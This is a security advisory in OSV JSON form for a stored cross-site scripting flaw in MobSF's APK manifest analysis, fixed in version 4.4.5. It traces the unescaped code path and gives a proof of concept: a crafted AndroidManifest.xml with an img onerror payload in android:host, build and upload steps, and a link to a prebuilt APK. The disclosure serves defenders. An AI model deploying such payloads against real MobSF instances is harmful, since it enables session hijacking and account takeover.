CVE-2026-24490: Mobsf Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8hf7-h89p-3pqj",
  "modified" : "2026-01-29T03:25:29Z",
  "published" : "2026-01-26T23:36:19Z",
  "aliases" : [ "CVE-2026-24490" ],
  "summary" : "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field",
  "details" : "### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The `android:host` attribute from `<data android:scheme=\"android_secret_code\">` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `<data>` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f'{ns}:host')\nret_list.append(('dialer_code_found', (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n'dialer_code_found': {\n    'title': 'Dailer Code: %s Found <br>[android:scheme=\\\"android_secret_code\\\"]',\n    ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.poc.xsstest\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\">\n\n    <application android:label=\"XSS PoC Test\">\n        <receiver android:name=\".SecretCodeReceiver\" android:exported=\"true\">\n            <intent-filter>\n                <action android:name=\"android.provider.Telephony.SECRET_CODE\"/>\n                <data android:scheme=\"android_secret_code\"\n                      android:host=\"&lt;img src=x onerror=alert(document.domain)&gt;\"/>\n            </intent-filter>\n        </receiver>\n    </application>\n</manifest>\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n<td>\nDailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme=\"android_secret_code\"]\n</td>\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or  private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n<img width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29 AM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" />\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n<img width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57 AM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mobsf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24490"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-26T23:36:19Z",
    "nvd_published_at" : "2026-01-27T01:16:02Z"
  }
}